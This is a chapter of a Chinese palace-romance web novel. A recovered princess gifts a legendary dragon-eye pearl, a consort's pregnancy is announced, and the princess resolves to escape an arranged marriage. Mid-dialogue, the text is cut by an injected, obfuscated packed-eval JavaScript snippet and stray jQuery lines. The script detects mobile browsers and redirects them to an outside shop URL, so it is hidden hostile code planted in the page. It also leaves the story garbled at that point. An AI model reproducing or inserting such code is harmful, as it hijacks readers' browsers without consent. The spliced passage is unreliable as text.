屋子里女婢们围在圆桌前,听清朗绘声绘色地讲故事。她秀发披肩尚未梳妆,面若满月,已无昨日那股黄瘦气。
她杏眼含星,抬眸瞧见常仪和宓夜到来,惊讶道:“呀!宓夜,这就是你的新妇?果真是个乖巧标志的美人儿。”
说话间,清朗已至常仪身侧,上下打量一番,越发喜欢她,牵起她的手便往里走,道:“来,让个座。”
常仪有些拘束,怎么感觉长公主很不一样了,这对吗?她无措地看向宓夜。
宓夜笑着微微点头,道:“长姐病好之后,有许多事都记不得。”
清朗笑着道:“是呀,或许我们之前见过,但本宫记不清了,今日重新认识一下,本宫第一眼瞧你就知道你是个好姑娘。”
常仪闻着她身上有一股淡淡药香,目不转睛地盯着长公主,士别三日都当刮目相看,公主变化可真大。沉鱼落雁柳带烟,满头珠翠赛九天。
“你别看我在床上躺了多日,实际上我能听到的,宓夜常来宫里看我,在我耳边讲你们去不云县的事,那些个光怪离奇的事简直比话本小说还好看。”
清朗喊嬷嬷将东西呈上来。
嬷嬷拿来一个匣子放在桌上。
常仪看了一眼,那满盒镶嵌云母贝和珠宝,看起来价值不菲。
“这是送给你的礼物,打开看看,希望你会喜欢。”
常仪甜甜道谢,打开盒子,只见里面是一颗碧绿的珠子。
南海有蛟龙,千年前挈千面狐妖兴风作浪,九神大帝持剑斩下龙头,那双龙眼化成两颗夜明珠,一颗被放镇在崂山,另一颗不知踪迹。
常仪见过的珠宝数不胜数,只是这样透亮,里面似乎还有眼瞳的珠子实在不曾见过,于是问道:“这是?”
宓夜答道:“夜明珠!”
他上前仔细瞧着,是龙眼,和书里描述的一模一样,黄金锯齿圆眼瞳,此等宝贝,长姐说送就送!
“听闻这珠子夜里会发光,习武之人佩戴能武力大增,修习之人使用也会突破上限。本宫留着也只是一个装饰,还是别暴殄天物了,总觉得日后你定会用得上,遂送给你。”
常仪没觉得这珠子有何作用,但也还是开心收下:“多谢长姐。”
“回头看看找个工匠做成首拾佩戴起来才好。”
宓夜道:“成,回头我就让人去打造。”
常仪正想说什么,听见钟声敲响了两声。
她发觉众人面色忽变严肃,起身往宫门口走去,不知发生了何事。
“这是出什么事了?”
宓夜在她身旁,解释道:“两声钟响报喜丧,三声钟响报战乱。”
常仪瞧着宓夜神色略显紧张,倏然回想起嫂嫂几日前说过,王太后身体抱恙,所以宓夜是担心……
众人等在宫门口,静静等侯传报公公。
宓夜紧张地捏了捏手心,常仪瞧在眼里,轻轻拉了拉他的衣袖。他弯腰将头偏向她,听到她细细的呼吸声:“没事的,万一是喜事呢。”
祖母的病虽难治,但不至于……他担心的是其他事。
宓夜轻挑眉,这小丫头莫不是担心自己?他装出沉思,道:“希望没什么大事。”
常仪用力“嗯”了一声,在另一边的清朗都听见了。
转角处出现一袭红衣,常仪松了一口气,这样看来应该是喜事吧。可余光瞥见宓夜和清朗,怎么脸色比方才看起来还要糟糕!
众人跪下,常仪也跟着跪下,只听公公道:“奉天承运,陛下诏曰,贵妃娘娘方氏已孕龙裔,实乃朝之大喜,方氏善美吉庆,德行有嘉,晋封皇贵妃,赐封号‘嘉’,另大赦天下,普天同庆。”
“恭喜陛下,恭喜嘉皇贵妃娘娘,陛下万万岁,嘉皇贵妃娘娘千千岁。”
清朗不语,紧紧攥着裙摆,手背上青筋暴起,刺耳声音在耳畔回荡。
“本宫只有你这么一个女儿,你不争气我们娘俩靠谁!”
“要不是本宫一直不孕,才不会把所有心血注在你身上,你得记住,你永远是本宫手里的王牌,谁也不能乃你何。”
公公走过后,众人起身,嬷嬷见清朗脸色冰冷,担心她身子,率先扶住她。
她见识过皇贵妃对公主的掌控,见清朗脸色逐渐从容,道:“公主,皇贵妃娘娘有喜了,应该高兴的。”
“是吗?”清朗冷笑一声,继续道,“不是说母妃子息宫弱,命里无子?是觉着本宫这个大的不中用了,所以求来一个小的?”
宓夜道:“长姐,何不换一个想法,您今后便自由了。”
清朗仰头叹息。
云层逐渐散开,阳光带着刺眼的热洒下,她抬手轻轻放在额头,半晌才道:“今后真的可以自由了吗?”
常仪道:“有故人说,长姐不是笼中金丝雀、池中红锦鱼,天地辽阔任由你去,你本就是自由的。”
清朗低眸,眼带笑意看着常仪:
“卧床时,本宫做了一个梦,梦里一魂著绢帕,似是故人来,呼唤久不闻,饮碗热血酒,更衣径离宫。”
她似是下了一个决心,要远离这个困顿之地。
屋子里女婢被支走,只剩下清朗、常仪和宓夜。
清朗眼神温柔,也不避着常仪,看向宓夜道:“宓夜,替本宫办件事吧。”
宓夜大概猜到了,问:“长姐真的决定好了?”
清朗坚定点头道:“本就是重新活了一次的人,今后只想为自己而活。”
常仪隐约觉得要发生一件大事。
回府路上,常仪好几次想开口问宓夜究竟是何事,话到嘴边又被咽下。
马府门前的灯笼照亮两人的脸庞,宓夜站在她身旁,一直等她开口。
常仪一步三回头,道:“那我进去了,你要好好休息。”
“站住。”
常仪神色微动,诧异看向宓夜,见他睨着自己,垂眸理了理衣衫,问道:“怎么了?”
宓夜道:“不打算问了吗?”
常仪眼神明亮,像兔子一样蹦到他面前,终于不再忍:“你怎么知道我想问,可是长姐没说,你尚且知道是何事,我怕会是机密……”
“你同我可以交心,若怕这怕那的,以后还怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371919|199951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
混?别担心,天塌下来有我顶着,看你,憋坏了吧。”
宓夜笑着解下披风为她披上,道:“长姐想离开越东,我得帮她金蝉脱壳。”
“直接走不行吗?”
“越东边境常年战乱,父王今日大赦天下,怕是有了稳定之心,欲与临国求和,她是唯一公主,大概是会和亲的,直接走是走不了的。”
常仪和宓夜就这样并肩站着,直到有人打开门。
“咦,太子殿下、太子妃,到家门口了怎么不进去呢?”
两人同时转身,常仪见女婢视线落在自己身上,缓过神来要解开披风,却被宓夜握住手,听他道:“天凉了,穿着吧。”
常仪害羞应下,又听他说:“明儿我来接你,带你去个地方。”
常仪仰头,清澈的眼眸看着他,莞尔一笑道:“好。”
-
方虞刚晋升皇贵妃,此时小腹有些坠胀,赶忙让嬷嬷支开女婢。
嬷嬷好心劝道:“娘娘,已经有孩子了,这个神明还要继续供奉吗?”
方虞道:“风无痕说过,供奉这个东西三年不能间断,赶紧把它抱出来。”
嬷嬷弯腰,在床下拿出一个陶瓷坛,放到桌案的红布上。
方虞拿出香炉,又将腰上的锦囊解下放在香炉正南方,而后点燃三根红香,闭眼祈愿,虔诚叩首,睁眼将香插入香灰中。
烟气顺着陶瓷坛上方的一个小孔进入到坛里,不一会儿,方虞的肚子便舒坦了。
她喝下一碗水,听有人叩门:“娘娘,长公主来了。”
她神色立马慌张,让嬷嬷赶紧将东西藏起来,对着门外道:“让她在外面等一下。”
“是。”
清朗此时就在门外,听得一清二楚,里面慌慌张张的,不知到底在作甚。
房门被打开,清朗缓缓转身,见方虞衣着华丽,想来自己也是许久未见这位母亲了。
“给母妃请安。”清朗行礼。
方虞道:“进来吧。”
清朗刚踏进屋子就闻到一股味儿,不是熏香,反倒像寺庙里的香火,她环顾四周,问道:“母妃方才可是在烧香?”
嬷嬷神色一动,走到案台旁,指着一个送子神像道:“方才娘娘是在还愿呢。”
清朗淡淡扫了一眼,也没放在心上:“母妃有孕真是件喜事,只是女儿有一事好奇,久久不孕,命里无子,母妃是如何怀上的?”
方虞鲜少见没发脾气,笑着道:“清朗啊,本宫若这胎怀的是个男孩儿,那我们母女俩就有依靠了。”
“哦,是吗?”
清朗神色逐渐冷淡:“该是你直到父王准备平息战事打算让我去和亲,你在为自己铺路吧!不过你还真是幸运,居然怀上了。”
嬷嬷忍不住眼含泪,哽咽道:“公主怎么能这么说呢,娘娘是为了……”
方虞脸色铁青,斥道:“住口!”
她看着昔日乖巧的女儿,不知为何今日像变了一个人似的,心里忽觉疼痛,道:“你还小,不懂本宫的用心良苦,本宫不怪你,今日来是有何事,直说吧。”